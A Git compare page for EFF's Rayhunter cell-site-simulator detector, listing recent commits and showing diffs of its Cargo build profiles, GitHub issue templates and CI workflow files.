Compare commits

..

141 Commits

Author SHA1 Message Date
Will Greenberg deeab1f1b0 Fix make script
Only build the daemon for make's purposes
2025-06-24 10:30:49 -07:00
Will Greenberg 83dba77cba Bump version to 0.4.0 2025-06-24 10:30:49 -07:00
Markus Unterwaditzer 542aff4fdf Merge pull request #351 from untitaker/restart
Config change and restart UI
2025-06-24 19:23:30 +02:00
Markus Unterwaditzer 2ececf9c58 Fix tests 2025-06-24 02:09:22 +02:00
Markus Unterwaditzer 2cba26a4cc Remove unused import 2025-06-24 01:25:01 +02:00
Markus Unterwaditzer 48c0592b18 Merge remote-tracking branch 'origin/main' into restart 2025-06-24 01:24:43 +02:00
Markus Unterwaditzer a21c9af354 Restart when config is set 2025-06-24 01:12:46 +02:00
Markus Unterwaditzer 0c241aba23 Address review comments 2025-06-23 14:30:40 -07:00
Markus Unterwaditzer b2502847a1 Add ZIP download endpoint 2025-06-23 14:30:40 -07:00
Markus Unterwaditzer be6f29dcf1 Add exponential backoff 2025-06-23 22:47:34 +02:00
Markus Unterwaditzer 2114206909 Remove advanced options 2025-06-23 21:24:04 +02:00
Markus Unterwaditzer f735f033d3 Fix indentation 2025-06-23 21:13:41 +02:00
Markus Unterwaditzer b825174a07 Apply suggestions from code review
Co-authored-by: Will Greenberg <ifnspifn@gmail.com>
2025-06-23 21:03:01 +02:00
Markus Unterwaditzer 29823d3e82 Update documentation and fix broken links
* Add a new configuration page and move content out from TP-Link. The
  Configuration section in TP-Link is duplicating what is already in
  config.toml.example, and given that we have recently added a lot of
  new options I don't want to maintain multiple copies.

* Lots of anchor links were broken since we moved docs from README into
  mdbook. Fix them all.

* Document that the key input feature is disabled since 0.4.0.

* Smaller cosmetic changes:

  * Make TP-Link M7350 page consistent with TP-Link M7310 page.
  * Fix indentation on some bullet points.
  * Center-align the rayhunter logo in introduction.md to calm my soul.
    It is still misaligned with the page title above itself.
  * Add "edit on github" link in mdbook settings.
2025-06-23 09:40:20 -07:00
Markus Unterwaditzer e52d382514 Make SvelteKit build reproducible 2025-06-23 09:38:00 -07:00
Markus Unterwaditzer a17e255148 un-skip jobs for testing 2025-06-23 09:38:00 -07:00
Markus Unterwaditzer 0f98b05475 Try out rust-cache action 2025-06-23 09:38:00 -07:00
Markus Unterwaditzer 5e5514a11f Fix key_input blocking shutdown
Discovered in #351 where restart would hang forever.

key_input.rs never properly implemented shutdown because it didn't have
to do anything interesting on shutdown.

Wire up oneshot channels so that it falls in line with other services.

I do wonder though if there's a more clever way of handling this. For
example I could just not use the task_tracker, use tokio::spawn and let
the task get cancelled by tokio.
2025-06-21 23:57:54 +02:00
Markus Unterwaditzer 9904b74d21 basic ui 2025-06-20 11:47:40 +02:00
Markus Unterwaditzer d166dfc13d get config and set config 2025-06-20 11:47:40 +02:00
Markus Unterwaditzer 9b759e6b42 add basic restart endpoint 2025-06-20 11:47:40 +02:00
oopsbagel 5614c725a0 Merge pull request #418 from EFForg/tplink-hotfix-v9
Fix broken installer on TP-Link M7350 v9
2025-06-20 08:09:40 +00:00
oopsbagel 5a7fc2a063 Merge pull request #387 from oopsbagel/wingtech-ct2mhs01
feat: support Wingtech CT2MHS01 hotspot
2025-06-20 08:00:56 +00:00
Markus Unterwaditzer e601320b3f Fix broken installer on TP-Link M7350 v9
TP-Link v9 was inadvertently broken via https://github.com/EFForg/rayhunter/pull/390
2025-06-20 02:01:55 +02:00
Cooper Quintin 0b05d1617c enable null cipher heuristic by default in config 2025-06-18 13:32:37 -07:00
Cooper Quintin e7ba02173a update heuristic docs 2025-06-18 13:32:37 -07:00
Cooper Quintin 0b0dd4ed43 add file extensions to downloads, fixes #397 2025-06-18 13:32:37 -07:00
Markus Unterwaditzer f2ff1be2ec Disable input keys by default
People say it's too easy to press, see #404
2025-06-18 08:44:26 -07:00
Markus Unterwaditzer 9f9adea5a1 Debounce key input events 2025-06-18 08:05:35 -07:00
Markus Unterwaditzer cb2092d14f Fix last_message_time showing as 1970 when capture is 0 bytes
This is the same bug as #224, but regressed in the new UI
2025-06-17 16:38:49 -07:00
Cooper Quintin 76cdb3ecf1 re-add warning again 2025-06-17 16:30:22 -07:00
Cooper Quintin bee5152381 re enable null cipher test 2025-06-17 16:30:22 -07:00
Cooper Quintin 2634271715 re-enable null cipher and update docs 2025-06-17 16:30:22 -07:00
Cooper Quintin 58913314aa helpful comment 2025-06-17 16:30:22 -07:00
Cooper Quintin 4f5bf4aa78 silence logging and point to specific revision and re-add warning 2025-06-17 16:30:22 -07:00
Cooper Quintin bfc85c5103 re enable null cipher test 2025-06-17 16:30:22 -07:00
Cooper Quintin 7923327ba9 update binary name. Fixes #128 2025-06-17 16:30:22 -07:00
oopsbagel 3ff714972c fix(installer/wingtech): parse json login response
Use serde via reqwest to deserialize the login response from qcmap_auth
when obtaining an authentication token instead of golfing based on the
specific token length.
2025-06-16 00:38:28 -07:00
oopsbagel a5d8e601d9 Merge pull request #399 from oopsbagel/fix-blame-ignore-rev-file
chore/fix: fix blame ignore rev file rev
2025-06-16 03:42:57 +00:00
oopsbagel 5272a99fb5 chore/fix: fix blame ignore rev file rev
Due to rebasing, this pointed to a nonexistent commit.
2025-06-15 20:40:50 -07:00
oopsbagel 5d61ad53b4 Merge pull request #394 from EFForg/readme-404
Fix broken CI badge in README
2025-06-16 03:32:22 +00:00
Markus Unterwaditzer 88ee4fc87e Fix broken CI badge in README 2025-06-14 17:13:30 +02:00
oopsbagel 8aadfc20f2 fix(installer/wingtech): remove duplicated struct 2025-06-13 22:00:20 -07:00
oopsbagel a234df1e1e fix(installer/wingtech): only say ok if telnet connected 2025-06-13 21:39:12 -07:00
oopsbagel de25008742 Merge pull request #392 from EFForg/ci-restore-main-workflow-call
fix(ci): restore deleted workflow_call trigger
2025-06-14 02:45:25 +00:00
oopsbagel 185da9cb36 fix(ci): explain why workflow_call: is needed 2025-06-13 19:42:38 -07:00
oopsbagel c366eb9e4d fix(ci): restore deleted workflow_call trigger
This is required to call this workflow from another workflow, such as
the release.yml workflow.
2025-06-13 19:38:49 -07:00
oopsbagel 5dfbeaef64 Merge pull request #390 from EFForg/m7310
Add support for TP-Link M7310
2025-06-14 02:36:14 +00:00
oopsbagel 62e4c15eb5 Merge pull request #391 from EFForg/fix-workflow-main
Do not publish docs from any branch
2025-06-14 02:34:35 +00:00
Markus Unterwaditzer 02c98a8e8e Do not publish docs from any branch
Documentation was being pushed from an unrelated PR that I opened,
because that PR was created from a branch pushed to efforg instead of my
own fork.
2025-06-14 02:10:56 +02:00
Markus Unterwaditzer 6c02f56250 Add support for TP-Link M7310
The device is very similar to the M7350, and might as well just be
another hardware version.
2025-06-13 16:04:13 +02:00
oopsbagel f56acdf89d fix(installer/wingtech): better Response variable 2025-06-12 12:46:08 -07:00
oopsbagel cb6f79f67a ci: build wingtech 2025-06-12 01:11:01 -07:00
oopsbagel 95951c5c38 fix(display/mod.rs): remove "no device" check
This check is unnecessary, cargo will not build if fn update_ui is
undefined.
2025-06-12 01:04:29 -07:00
oopsbagel 241fb2789b fix(display/mod.rs): remove "many devices" check
This check is unnecessary, cargo will not build if multiple versions of
fn update_ui are defined.
2025-06-12 01:01:05 -07:00
oopsbagel 3a3adb055b fix(installer): wingtech adb error message 2025-06-12 00:45:52 -07:00
oopsbagel 3ae2636d9e chore(installer/build.rs): cargo clippy 2025-06-12 00:44:36 -07:00
oopsbagel 79b2628d2f chore: cargo fmt 2025-06-12 00:43:00 -07:00
oopsbagel cba898daf6 feat(installer/util): telnet functions in util.rs
Add installer util wingtech-start-telnet command.
Add installer util wingtech-start-adb command.
2025-06-12 00:39:27 -07:00
oopsbagel cb1df974e4 feat: support Wingtech CT2MHS01 hotspot
Add support for the Wingtech CT2MHS01 hotspot, a Qualcomm mdm9650-based
device with a screen available for US$15-35. This device is often used
as a base platform for while labeled versions like the T-Mobile TMOHS1.
AT&T branded versions of the hotspot seem to be the most abundant.

The device has a framebuffer-driven screen at /dev/fb0 that behaves
similarly to the Orbic RC400L, although the userspace program
`displaygui` refreshes the screen significantly more often than on the
Orbic. This causes the green line on the screen to subtly flicker and
only be displayed during some frames. Subsequent work to fully control
the display without removing the OEM interface is desired.
2025-06-11 18:06:50 -07:00
Markus Unterwaditzer 86e08f9a85 Allow enabling/disabling analyzers from config file (#382)
Co-authored-by: Will Greenberg <willg@eff.org>
2025-06-10 21:37:38 +02:00
Markus Unterwaditzer fb2149f0c8 Loosen up issue templates
A lot of the bug report we receive are about the web UI or the installer
failing, and there things like capture date just don't matter. We could
create separate templates for these types of bugs, but I'd think it's
probably better to just have one textbox with a few "reminder" questions
that are all optional.

Feature request template I think doesn't have this issue.

Also allow the creation of blank issues, because some issues are more
related to CI or devenv and don't neatly fit in any category. Let's just
hope nobody abuses that?
2025-06-10 11:49:56 -07:00
oopsbagel bf2b00ce47 doc(faq): send commands with installer util shell 2025-06-10 11:49:20 -07:00
oopsbagel fd453900c2 doc(faq): format code correctly 2025-06-10 11:49:20 -07:00
oopsbagel 3d29c5f306 doc: add re-enabling USB tethering to the FAQ
Fixes issue #294
2025-06-10 11:49:20 -07:00
jrddupont 74623dea02 doc: Fix instructions for mac quarantine bit (#385) 2025-06-10 00:33:12 +02:00
Cooper Quintin 48e73a0a41 revert accidental futures upgrade 2025-06-06 12:44:39 -07:00
Cooper Quintin a36863e002 bump version 2025-06-06 12:44:39 -07:00
oopsbagel 48aac0f0bb Merge pull request #380 from oopsbagel/fix-ci-env
ci: don't try to use env:
2025-06-06 19:33:50 +00:00
oopsbagel 5749c305c6 ci: don't try to use env:
I apparently don't know how this works.
2025-06-06 12:30:36 -07:00
oopsbagel f53688086d ci: minor syntax and workflow order fixes 2025-06-06 12:21:24 -07:00
oopsbagel bd2e0b4394 ci: release from actions, only test changed files
This commit introduces release automation triggered by button clicks in
Github Actions, guarded by a check on whether all the Cargo.toml files
contain the same version string.

On PRs, changes to documentation no longer trigger code tests.
Similarly, changes to code that don't update documentation do not
trigger documentation tests. Changes that fail at the `cargo check`
stage abort early to prevent lengthy CI builds of the installer and
firmware.

Commits on the `main` branch always run the full test suite regardless
of what changed.

Releases also run the full check, test, build and publish suite.
2025-06-06 12:21:24 -07:00
alli.sys 1eea086199 Merge pull request #375 from EFForg/eff-adb
Switch to the EFF org fork of adb_client
2025-06-05 21:28:06 -04:00
Sashanoraa d36c1f10cd Switch to the EFF org fork of adb_client 2025-06-05 20:22:43 -04:00
Markus Unterwaditzer 8d8d2bd8ec Fix crash when deleting recordings
Due to a refactor in https://github.com/EFForg/rayhunter/pull/350, we
had to move more into the shared codepath of StopRecording. The todo!()
used to be unreachable when it was just in the stop-recording endpoint.

Fix #367
2025-06-05 09:28:31 -07:00
Cooper Quintin f2b722ad5f version update 2025-06-04 10:12:08 -07:00
Cooper Quintin 5e2058e7ac update make to use firmware profile 2025-06-04 10:12:08 -07:00
cooperq 60daf4b716 update win docs 2025-06-04 10:11:12 -07:00
Cooper Quintin 4df317b028 dig deeper in the json tree. Fixes #360 2025-06-04 10:10:18 -07:00
Sashanoraa d7fb8b9c85 Move most serial commands to usb shared USB claim with adb 2025-06-04 09:11:06 -07:00
Markus Unterwaditzer d399532494 Add documentation for key input 2025-06-03 14:29:04 -07:00
Cooper Quintin 45df91a364 Update using-rayhunter.md 2025-06-03 14:23:50 -07:00
Matej Kovacic 672ed8c6c6 Update using-rayhunter.md 2025-06-03 14:23:50 -07:00
Matej Kovacic 5c7c7cd766 Add files via upload 2025-06-03 14:21:19 -07:00
Markus Unterwaditzer f41a8d38fe move analysis into diag reader thread as well 2025-06-03 13:58:47 -07:00
Markus Unterwaditzer f9c8c4671e Add basic key input 2025-06-03 13:58:47 -07:00
Markus Unterwaditzer 723b20541e Move business logic out of axum handlers 2025-06-03 13:58:47 -07:00
cooperq 272a4aeabf update docs 2025-06-03 11:49:20 -07:00
cooperq 6ae70556ba fix windows powershell installer and rust installer root process 2025-06-03 11:49:20 -07:00
Markus Unterwaditzer 2915dea9e9 Remove dead code and default features 2025-05-30 10:21:30 -07:00
Markus Unterwaditzer 6941bc57b6 Fix issues on TP-Link v9
* Fix autostart by adding another port trigger for rayhunter-daemon
* Use Orbic's IOCTL params as fallback
* Fix sdcard path and make it configurable
* Update docs to indicate support
* Add uninstalling instructions for TP-Link
2025-05-30 10:14:51 -07:00
Cooper Quintin 5b9dd856a8 version bump 2025-05-30 10:13:34 -07:00
Cooper Quintin 5007cb0b36 cargo fmt 2025-05-30 10:13:34 -07:00
Cooper Quintin 1b244122df add adb shell command 2025-05-30 10:13:34 -07:00
Cooper Quintin 3c4cb56ce6 surpress error messages by default, fixes #347 2025-05-30 10:13:34 -07:00
Cooper Quintin 58843413b5 update adb version which fixes adb key missing error. Fixes #330 2025-05-30 10:13:34 -07:00
Cooper Quintin 4ee504fed7 bump version to 0.3.1 2025-05-28 17:31:58 -07:00
Matej Kovacic 894af5da0d Update installing-from-release.md 2025-05-27 08:48:49 -07:00
Matej Kovacic d810e8e3c0 Update tplink-m7350.md 2025-05-27 08:45:57 -07:00
Markus Unterwaditzer 8755d5694c Fix installing from source
Due to recent build changes, --release no longer applies the right
optimization settings, and --profile firmware has to be used.
2025-05-27 08:36:00 -07:00
Caleb 70a7d81d05 Add spinning orca for loading 2025-05-23 15:01:56 -07:00
Caleb c182543dfa Resize logo images 2025-05-23 15:01:56 -07:00
Caleb 056f4c02e5 Fix table overflowing 2025-05-23 15:01:56 -07:00
Caleb 237983a8cb Add logo 2025-05-23 15:01:56 -07:00
Cooper Quintin 9967f93af2 foo 2025-05-23 11:54:14 -07:00
Cooper Quintin 3358a06454 look for other orbic PID 2025-05-23 11:54:14 -07:00
cooperq 382702a9ee blah 2025-05-23 11:54:14 -07:00
cooperq 67c3eb7d91 experiment 2025-05-23 11:54:14 -07:00
cooperq 98b05bfdb0 add install.ps1 to release zip 2025-05-23 11:54:14 -07:00
cooperq 01d10b87b3 more bugfix 2025-05-23 11:54:14 -07:00
Cooper Quintin 410e902848 fix more issues with windows installer 2025-05-23 11:54:14 -07:00
cooperq f03f9fcdae more bugfix 2025-05-23 11:54:14 -07:00
Markus Unterwaditzer 4b68c30ed3 add note about sleep 2025-05-23 11:02:18 -07:00
Markus Unterwaditzer b5481331c2 add windows instructions for tplink 2025-05-23 11:02:18 -07:00
Markus Unterwaditzer ace65a8e55 Update docs for tplink to make clear which versions don't work 2025-05-23 11:02:18 -07:00
Markus Unterwaditzer 920044a5b2 Mention quarantine bit on macOS
See #323
2025-05-23 10:53:05 -07:00
Sashanoraa 6cb9a195ed Add env_logger to installer
Some libraries, namely nusb, produce debug logging that we might want to
access in the field.
2025-05-23 10:43:14 -07:00
Markus Unterwaditzer 90e2bddbbb Make Delete All Recordings more robust against missing recordings
For some reason, some QMDL files are missing on my device. In this
situation Delete All Recordings should not fail on the first missing
file.
2025-05-19 11:02:25 -07:00
Sashanoraa 3fa583f671 Re-enable debug info and unwind for non-firmware binaries 2025-05-19 09:51:36 -07:00
Caleb 8e6b86b26f Add ability to get qmdl file size in user readable values 2025-05-19 09:49:44 -07:00
Caleb d40d4fb9c1 Fix alignment for analysis views 2025-05-19 09:49:44 -07:00
Caleb a12bc4075e Tweak UI and text 2025-05-19 09:49:44 -07:00
Caleb 51327917b0 Change system information table 2025-05-19 09:49:44 -07:00
Caleb 4982463b57 Add seperate card for current recording and recording controls 2025-05-19 09:49:44 -07:00
Caleb 68aafd41e1 Add arrow for analysis view toggle 2025-05-19 09:49:44 -07:00
Caleb 8b053a9ef8 Add pill css for warnings 2025-05-19 09:49:44 -07:00
Caleb ace325a38a Fix alignment of Analysis view 2025-05-19 09:49:44 -07:00
Caleb 6d02731a81 Additional mobile manifest card UI tweaks 2025-05-19 09:49:44 -07:00
Caleb 69b7fecb17 Add links to github and docs 2025-05-19 09:49:44 -07:00
Caleb 279169257d Add card based manifest entries for mobile 2025-05-19 09:49:44 -07:00
Caleb 9a60e3f820 Add dropshadows and other small UI changes 2025-05-19 09:49:44 -07:00
Caleb 77e51ec2f6 Fix Table UI and ControlBar UI 2025-05-19 09:49:44 -07:00
Caleb c9c92706bc Fix margins 2025-05-19 09:49:44 -07:00
Caleb 643fa9f979 Add header 2025-05-19 09:49:44 -07:00
Caleb 96a02763e4 Fix margins sizes based on screen size 2025-05-19 09:49:44 -07:00
Caleb ff421de127 Fix max height of analysis view for better mobile experiance 2025-05-19 09:49:44 -07:00
Caleb 635c8a0188 Fix capitalization of version 2025-05-19 09:49:44 -07:00
Cooper Quintin 5b8a0ef8d4 Update installing-from-release.md 2025-05-19 09:31:00 -07:00
Caleb 757b053a33 [DOCS] Fix install extract instructions 2025-05-19 09:31:00 -07:00
oopsbagel 5d9bc27ac9 Merge pull request #319 from EFForg/powershell
fix issues with powershell installer
2025-05-17 00:02:05 +00:00
cooperq 7d45be4f0c fix issues with powershell installer 2025-05-16 16:50:07 -07:00
82 changed files with 2768 additions and 1095 deletions
+13 -4
View File
@@ -15,18 +15,27 @@ rustflags = ["-C", "target-feature=+crt-static"]
linker = "rust-lld" linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"] rustflags = ["-C", "target-feature=+crt-static"]
[target.x86_64-apple-darwin] # Disable rust-lld for x86 macOS because the linker crashers when compiling
linker = "rust-lld" # the installer in release mode with debug info on.
rustflags = ["-C", "target-feature=+crt-static"] # [target.x86_64-apple-darwin]
# linker = "rust-lld"
# rustflags = ["-C", "target-feature=+crt-static"]
[target.x86_64-unknown-linux-musl] [target.x86_64-unknown-linux-musl]
linker = "rust-lld" linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"] rustflags = ["-C", "target-feature=+crt-static"]
# optimizations to reduce the binary size # keep line numbers in stack traces for non-firmware binaries
[profile.release] [profile.release]
debug = "limited"
# optimizations to reduce the binary size of firmware binaries
[profile.firmware]
inherits = "release"
strip = true strip = true
opt-level = "z" opt-level = "z"
lto = true lto = true
codegen-units = 1 codegen-units = 1
panic = "abort" panic = "abort"
debug = false
+1 -1
View File
@@ -1 +1 @@
c5bbaabe15d4ccfee97b9997a13569fbfea13c45 9fe75ac961c57e508bf7488ce51d596750fa8d37
+11 -51
View File
@@ -1,59 +1,19 @@
name: Bug Report name: Bug Report
description: File a bug report. description: File a bug report.
title: "[Bug]: " labels: ["bug"]
body: body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this bug report!
- type: input
attributes:
label: Rayhunter Version
description: |
Which version did you install?
placeholder: "v0.2.6"
- type: input
attributes:
label: Capture Date
description: |
YYYY-MM-DD
placeholder: "2025-05-01"
validations:
required: true
- type: input
attributes:
label: Capture Location
description: |
(If comfortable disclosing) What region or country were you in?
placeholder: Washington State
- type: input
attributes:
label: Device and Model
description: |
Device you installed Rayhunter on to.
placeholder: Orbic RC400L
validations:
required: true
- type: textarea - type: textarea
id: what-happened
attributes: attributes:
label: What happened? label: Bug Report Details
description: | description: |
What steps did you take to get to your issue? Please provide the following information, if applicable:
placeholder: "Tell us what you see!" placeholder: |
• **Rayhunter Version**: (e.g., v0.2.6)
• **Capture Date**: (YYYY-MM-DD, e.g., 2025-05-01)
• **Capture Location**: (If comfortable disclosing, what region or country were you in? e.g., Washington State)
• **Device and Model**: (Device you installed Rayhunter on, e.g., Orbic RC400L)
• **What happened?**: (What steps did you take to get to your issue? Tell us what you see!)
• **Expected behavior**: (Rayhunter's behavior differed from what I expected because...)
• **Relevant log output**: (Rayhunter data captures - QMDL and PCAP logs - or error codes)
validations: validations:
required: true required: true
- type: textarea
id: expected
attributes:
label: Expected behavior
description: Rayhunter's behavior differed from what I expected because.
placeholder: "What was expected?"
validations:
required: true
- type: textarea
id: logs
attributes:
label: Relevant log output
description: Rayhunter data captures (QMDL and PCAP logs) or error codes
render: shell
+1 -1
View File
@@ -1,4 +1,4 @@
blank_issues_enabled: false blank_issues_enabled: true
contact_links: contact_links:
- name: Rayhunter Mattermost - name: Rayhunter Mattermost
url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su
-1
View File
@@ -1,6 +1,5 @@
name: Feature Request name: Feature Request
description: Suggest a new feature or improvement to Rayhunter description: Suggest a new feature or improvement to Rayhunter
title: "[Feature Request]: "
labels: ["enhancement"] labels: ["enhancement"]
body: body:
- type: textarea - type: textarea
-154
View File
@@ -1,154 +0,0 @@
name: Build Release
on:
push:
branches: [main, "release-*"]
pull_request:
branches: ["main"]
env:
CARGO_TERM_COLOR: always
FILE_ROOTSHELL: ../../rootshell/rootshell
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
jobs:
build_rayhunter_check:
strategy:
matrix:
platform:
- name: ubuntu-24
os: ubuntu-latest
target: x86_64-unknown-linux-musl
- name: ubuntu-24-aarch64
os: ubuntu-24.04-arm
target: aarch64-unknown-linux-musl
- name: macos-arm
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
target: x86_64-pc-windows-gnu
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
- name: Build rayhunter-check
run: cargo build --bin rayhunter-check --release
- uses: actions/upload-artifact@v4
with:
name: rayhunter-check-${{ matrix.platform.name }}
path: target/release/rayhunter-check${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
build_rootshell:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
- name: Build rootshell (arm32)
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
- uses: actions/upload-artifact@v4
with:
name: rootshell
path: target/armv7-unknown-linux-musleabihf/release/rootshell
if-no-files-found: error
build_rayhunter:
strategy:
matrix:
device:
- name: tplink
- name: orbic
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
- name: Build rayhunter-daemon (arm32)
run: |
pushd bin/web
npm install
npm run build
popd
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features ${{ matrix.device.name }}
- uses: actions/upload-artifact@v4
with:
name: rayhunter-daemon-${{ matrix.device.name }}
path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
if-no-files-found: error
build_rust_installer:
needs:
- build_rayhunter
strategy:
matrix:
platform:
- name: ubuntu-24
os: ubuntu-latest
target: x86_64-unknown-linux-musl
- name: ubuntu-24-aarch64
os: ubuntu-24.04-arm
target: aarch64-unknown-linux-musl
- name: macos-arm
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
target: x86_64-pc-windows-gnu
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4
with:
name: installer-${{ matrix.platform.name }}
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
build_release_zip:
needs:
- build_rayhunter_check
- build_rootshell
- build_rayhunter
- build_rust_installer
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- name: Fix executable permissions on binaries
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
- name: Get Rayhunter version
id: get_version
run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
- name: Setup versioned release directory
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
mkdir "$VERSIONED_DIR"
mv rayhunter-daemon-* rootshell/rootshell installer-* "$VERSIONED_DIR"/
- name: Archive release directory as zip
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
zip -r "$VERSIONED_DIR.zip" "$VERSIONED_DIR"
- name: Compute SHA256 of zip
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
# TODO: have this create a release directly
- name: Upload zip release and sha256
uses: actions/upload-artifact@v4
with:
name: rayhunter-v${{ env.VERSION }}
path: |
rayhunter-v${{ env.VERSION }}.zip
rayhunter-v${{ env.VERSION }}.zip.sha256
if-no-files-found: error
-54
View File
@@ -1,54 +0,0 @@
name: Check and Test
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
env:
CARGO_TERM_COLOR: always
NO_FIRMWARE_BIN: true
jobs:
check_and_test:
strategy:
matrix:
device:
- name: tplink
- name: orbic
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check
run: |
pushd bin/web
npm install
npm run build
popd
cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run tests
run: |
pushd bin/web
npm install
npm run build
popd
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run clippy
run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
windows_installer_check_and_test:
runs-on: windows-latest
steps:
- uses: actions/checkout@v3
- name: cargo check
shell: bash
run: |
cd installer
cargo check --verbose
- name: cargo test
shell: bash
run: |
cd installer
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
+332
View File
@@ -0,0 +1,332 @@
name: main
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
workflow_call: # required to call this workflow from another workflow like release.yml
env:
CARGO_TERM_COLOR: always
FILE_ROOTSHELL: ../../rootshell/rootshell
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
FILE_RAYHUNTER_DAEMON_WINGTECH: ../../rayhunter-daemon-wingtech/rayhunter-daemon
jobs:
files_changed:
name: Detect file changes
runs-on: ubuntu-latest
permissions:
contents: read
outputs:
code_changed: ${{ steps.files_changed.outputs.code_count }}
daemon_changed: ${{ steps.files_changed.outputs.daemon_count }}
docs_changed: ${{ steps.files_changed.outputs.docs_count }}
installer_changed: ${{ steps.files_changed.outputs.installer_count }}
rootshell_changed: ${{ steps.files_changed.outputs.rootshell_count }}
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: detect file changes
id: files_changed
run: |
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
# If we are on main, or if these workflow files are being changed, run everything
if [ ${{ github.ref }} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/
then
echo "building everything"
echo code_count=forced >> "$GITHUB_OUTPUT"
echo daemon_count=forced >> "$GITHUB_OUTPUT"
echo docs_count=forced >> "$GITHUB_OUTPUT"
echo installer_count=forced >> "$GITHUB_OUTPUT"
echo rootshell_count=forced >> "$GITHUB_OUTPUT"
else
echo "code_count=$(git diff --name-only $lcommit...HEAD | grep -e ^bin -e ^installer -e ^lib -e ^rootshell -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
echo "daemon_count=$(git diff --name-only $lcommit...HEAD | grep -e ^bin -e ^lib -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
echo "docs_count=$(git diff --name-only $lcommit...HEAD | grep -e ^book.toml -e ^doc | wc -l)" >> "$GITHUB_OUTPUT"
echo "installer_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer | wc -l)" >> "$GITHUB_OUTPUT"
echo "rootshell_count=$(git diff --name-only $lcommit...HEAD | grep -e ^rootshell | wc -l)" >> "$GITHUB_OUTPUT"
fi
mdbook_test:
name: Test mdBook Documentation builds
needs: files_changed
if: needs.files_changed.outputs.docs_changed != '0'
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Test mdBook
run: mdbook test
mdbook_publish:
name: Publish mdBook to Github Pages
needs: mdbook_test
if: ${{ github.ref == 'refs/heads/main' }}
permissions:
pages: write
contents: write
id-token: write
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Build mdBook
run: mdbook build
- name: Setup Pages
uses: actions/configure-pages@v4
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
path: book
- name: Deploy to Github Pages
uses: actions/deploy-pages@v4
check_and_test:
needs: files_changed
if: needs.files_changed.outputs.code_changed != '0'
strategy:
matrix:
device:
- name: orbic
- name: tplink
- name: wingtech
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: Swatinem/rust-cache@v2
- name: Check formatting
run: cargo fmt --all --check
- name: Check
run: |
pushd bin/web
npm install
npm run build
popd
NO_FIRMWARE_BIN=true cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run tests
run: |
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run clippy
run: |
NO_FIRMWARE_BIN=true cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
windows_installer_check_and_test:
needs: files_changed
if: needs.files_changed.outputs.installer_changed != '0'
runs-on: windows-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: Swatinem/rust-cache@v2
- name: cargo check
shell: bash
